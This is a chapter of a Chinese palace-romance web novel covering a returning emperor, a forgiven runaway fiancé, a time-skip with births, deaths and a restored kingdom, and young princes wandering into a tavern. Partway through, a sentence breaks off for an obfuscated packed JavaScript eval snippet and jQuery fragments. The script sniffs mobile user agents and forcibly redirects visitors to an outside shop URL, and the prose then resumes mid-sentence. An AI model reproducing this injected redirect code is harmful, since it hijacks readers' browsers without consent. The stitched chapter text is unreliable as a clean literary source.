47. 琼宫归故,岁月迭迁

作品:《萧墙龙影,九州潮

    半个月的行程终至尾声,帝国都城的轮廓在晨雾中渐次清晰。马车碾过青石长街,车轮与石板碰撞的声响,混着街角早点铺子飘来的胡饼香气,将一路的风尘都揉得柔软。车帘被风掀起一角,沈清韵探头望去,见熟悉的朱漆城门近在眼前,忍不住拍了拍身旁沈夙眠的手:“到家了!”


    沈夙眠刚从打盹中醒转,揉着眼睛往窗外瞧,见城楼上“帝国”二字鎏金熠熠,瞬间精神起来,发间步摇晃得叮咚响:“终于不用再坐马车了!再晃下去,我腰都要散了!”


    说话间,马车已行至宫门前。侍卫们早已列队等候,见马车停下,领头侍卫快步上前,躬身行礼:“参见陛下、皇后娘娘,各位殿下。”


    沈景遇率先下车,目光扫过侍卫队列,没见着熟悉的身影,眉头微蹙,开口便问:“我哥呢?”


    那领头侍卫闻言,支支吾吾半天,才憋出一句:“王、王爷他……”话到嘴边又咽了回去,眼神躲闪着不敢看沈景遇。


    沈景遇眉梢微挑,心底已猜得七八分——凌时屿那性子,向来怕麻烦,自己离京三个月,怕是把御书房搅成了乱摊子。他没再追问,只淡淡道:“带路吧。”


    一行人往御书房走,刚转过回廊,就听见殿内传来颓丧的吼声:“都说了不吃!再送过来本王把御膳房掀了!”


    沈景遇脚步一顿,嘴角几不可察地抽了抽。侍卫轻手轻脚推开房门,沈景遇迈步进去,一眼就看见凌时屿四仰八叉躺在奏折堆里,常服皱得像腌菜,头发乱得能藏麻雀,眼下乌青重得堪比烟熏妆,活像刚从煤堆里爬出来。


    他听见动静,以为又是太监来送膳,正准备接着骂,抬眼瞧见沈景遇,眼睛瞬间亮了,手里的毛笔“啪”地掉在地上,挣扎着从奏折堆里爬起来,鞋都没穿好就扑过去,一把抱住沈景遇的胳膊,眼眶红得像兔子,声音里满是委屈:“弟啊!你可算回来了!再不回来,我就要死在这堆破奏折里了!”


    沈景遇被他抱得胳膊发僵,看着他这副惨样,嘴角抽搐得更厉害了::“不过让你暂代朝政几天,就成这样了?”


    “几天?”凌时屿猛地松开手,指着桌上堆得半人高的奏折,声音拔高了八度,“你走了整整三个月!这三个月里,东边闹水灾要拨款,西边要调兵,底下的官员还天天递折子吵来吵去,我连个安稳觉都没睡过!”他说着,伸手抹了把不存在的眼泪,“你再晚回来半个月,说不定就能看见我的墓志铭了!”


    沈景遇无奈地叹了口气,走到桌前随手拿起一本奏折翻看,指尖拂过密密麻麻的字迹:“行了,我回来了,剩下的交给我。你先去梳洗一下,瞧你这模样,传出去丢的是帝国的脸面。”


    凌时屿立马点头如捣蒜,转身就往外跑,刚到门口又折回来,指着桌上的点心盒子:“那盒桂花糕我留了三天,你记得吃,别浪费了。”说完才一溜烟跑没影了,那急切的模样,活像身后有追兵。


    与此同时,后宫这边,萧念刚回到寝殿,就看见一个熟悉的身影正猫着腰,偷偷摸摸往殿门外挪,裙角扫过门槛,动作鬼鬼祟祟,活像偷了糖的孩子。


    “晚晚?”萧念开口喊了一声。


    沈晚遇吓得浑身一僵,猛地转过身,手里还攥着个绣着海棠花的荷包,看见是萧念,脸色瞬间变得有些慌乱,结结巴巴地问:“念、阿念?你啥时候回来的?怎么没提前说一声?”


    萧念走上前,目光落在她攥着荷包的手上,又看了看她略显慌乱的眼神,挑眉问:“这大清早的,你要去哪?还偷偷摸摸的,难不成想瞒着我干什么事?”


    沈晚遇眼神躲闪,手指无意识地绞着荷包带子,支支吾吾半天,也没说出一句完整的话:“我、我就是……想去外面逛逛,宫里待久了,有点闷。”


    “逛?”萧念似笑非笑地看着她,“逛需要穿得这么整齐?还带了荷包,看你这架势,怕是要出去大半天吧?”


    沈晚遇被戳穿心思,脸颊瞬间红了,垂着头,脚尖蹭着地面,过了好一会儿,才抬起头,眼神里带着点祈求:“阿念,我跟你说件事,你可千万别生气。”


    萧念见她这副模样,心里大概有了些猜测,点了点头:“你说吧,我不生气。”


    沈晚遇深吸一口气,像是下定了很大的决心,声音小小的:“那啥……我和你弟和好了。”


    “和好了?”萧念愣了一下,没反应过来,“哪个?”


    沈晚遇脸颊更红了,不好意思地挠了挠头,嘿嘿笑了两声:“就是……原来那个啊。”


    萧念彻底懵了,站在原地,眼神里满是难以置信。像是看出了她的疑惑,沈晚遇主动解释道:“其实阿舒当时不是故意要逃婚的,他就是一时没想明白,怕给不了我幸福。后来他找到我,跟我好好道歉了,还说了好多心里话,我觉得他其实挺在乎我的,所以就……”她说着,声音越来越小,脸颊却越来越红。


    萧念看着沈晚遇一脸甜蜜的模样,心中满是惊叹。既然比自己还恋爱脑,对方犯了这么大的错,一句道歉就能轻易原谅。“你就这么原谅他了?他当初可是在大婚当天丢下你,让你在那么多人面前难堪,你就不怕他以后再犯?”


    沈晚遇摇了摇头,眼神坚定的仿佛要入党:“我相信他,他不是故意的。而且他说了,以后会好好对我,再也不会让我受委屈了。”


    萧念看着沈晚遇幸福的样子,终是没再多说什么。感情的事,外人终究无法干涉,既然沈晚遇选择原谅,那她也只能祝福。她伸手揉了揉沈晚遇的头发,笑道:“行吧,既然你想好了,那我就不多说什么了。不过你记住,要是他以后敢欺负你,一定要告诉我,我帮你收拾他!”


    沈晚遇用力点头,眼睛亮晶晶的:“嗯嗯!我知道了!阿念你真好!”


    时光匆匆掠过数载,萧念的身影依旧频繁穿梭在萧国与帝国的宫道间。一边是萧国朝堂的微妙平衡,一边是帝国后宫的日常琐碎。


    萧国皇宫里,萧然经了苏朝歌的风波后,确实收敛了往日的荒唐,不再任由后宫插手朝政,朝堂总算维持着表面的平静。可这份“老实”终究有限,遇事依旧习惯性依赖萧念,每逢棘手政务,还是会遣人快马加鞭往帝国送消息,半点没有一国之君该有的决断力,萧念也只能哭笑不得地帮他收拾烂摊子。


    帝国的日子则满是烟火气。萧安舒用数年时光彻底洗刷了当年逃婚的污点,对沈晚遇的体贴细致渗入日常——春日会陪她去御花园赏樱,夏日会为她摇扇纳凉,冬日会亲手为她暖手炉,从前的毛躁与犹豫早已被沉稳取代。两人偶有拌嘴,也总能在萧安舒的软语哄劝下很快和好。


    云榆景与沈清韵的感情也走到了订婚这一步,帝国为此举办了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968875|193417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一场盛大的订婚仪式。仪式上,云榆景望着沈清韵时,眼底似乎藏着温柔,可这份温柔里又透着几分说不清道不明的疏离,旁人猜不透他这份“真心”究竟有几分是真,几分是权衡后的姿态。


    唯有萧霈尘与沈夙眠的“追逐戏码”,数年来从未落幕。沈夙眠性子依旧跳脱,见了萧霈尘还是会凑上去调戏——或是抢他案上刚温好的茶,或是在他推演棋局时故意打乱棋子;而萧霈尘,不管啥时候,见了沈夙眠就条件反射地躲,躲不开时便会被缠得没辙,最后往往红着脸认输。


    沈知韫与乔稚渔的甜蜜则始终如一。与之相反,沈屹星和乔稚星这对,一点小事就能吵起来,而且谁也不让谁。


    一年七月初七,萧念在萧国生下一个女儿。七夕佳节,瓜果飘香,她给孩子取了个乳名叫“七七”,盼着孩子能像七夕的星光般顺遂长大。可这份喜悦转瞬即逝——孩子因先天性不足,刚出生便夭折了。当时沈景遇还在赶来萧国的路上,她的儿女也不在身边,唯有萧然守在旁侧。萧念醒来时,萧然才红着眼眶告知她,是个女儿,却没能留住。连孩子的模样都没见到一面。


    这几年里,另一件大事便是风吟国的复国。“无声”恢复了真实身份——风吟国太子云序郗。他是有能力,凭借过人的智谋与胆识,再加上萧念的暗中扶持,一步步收拢旧部、平定内乱,最终成功复国。秦鹤苒作为他的坚定支持者,也顺理成章地成为风吟国皇后。


    有人不解为何云榆景没有回风吟国辅佐云序郗——毕竟他是风吟国的宗氏,若回去了不是王也能封侯。每当被问起,云榆景都只是淡淡一句“想陪着阿韵”,简单七个字,理由背后是否还有其他隐情,无人知晓。


    自从上次皖丸出去玩了三天回来后,萧念总觉得皖丸变了。眼神里多了几分难以捉摸的深沉,每次她回到聊落羡,皖丸看向她时,还会闪过一丝复杂难辨的情绪,像是藏着什么不能说的秘密。萧念曾旁敲侧击地问过几次,可皖丸每次都含糊其辞地避开,这份反常,让她心里的疑虑愈发浓重。


    一眨眼四年过去了,初夏的日头暖得正好,萧国京城的朱雀大街上人来人往,叫卖声、马蹄声混着糕点铺飘出的甜香,裹得人脚步都发轻。


    萧北穆领头走在最前,萧钧奕跟在旁边,松烟紫袍下摆沾了点尘土;沈知韫走在中间,沈屹星揣着乔稚星塞给他的小荷包,走两步就摸一下,生怕丢了——那是乔稚星绣的歪歪扭扭的鸳鸯,美其名曰“定情信物”,丢了他十条命都不够赔。最后面是萧亭宴、萧訨暮、萧堇沂


    一群半大少年,最大的萧北穆也才二十一,最小的沈屹星、萧堇沂刚十四,平日里不是被关在宫里,就是在演武场练剑,很少上街逛逛,今日萧念高兴放他们出来耍,几人就跟刚放出笼的雀儿似的,东瞅西看,连路边卖泥人的小摊都能围着看半天。


    “哎,那楼看着气派!”萧亭宴眼尖,指着前头挂着“醉仙楼”鎏金匾额的三层小楼,楼檐下挂着的红灯笼晃得人眼晕,“上面还写着‘醉仙’,是卖酒的?”


    沈屹星踮着脚瞅,咂咂嘴:“看着比宫里的御膳房还阔气,进去瞧瞧?”他这话一出,除了萧堇沂稍微顿了顿,其他人都跟打了鸡血似的,呼啦啦就往楼里冲——谁也没注意到,楼门口站着的几个穿得花红柳绿的姑娘,眼神早黏在了他们身上。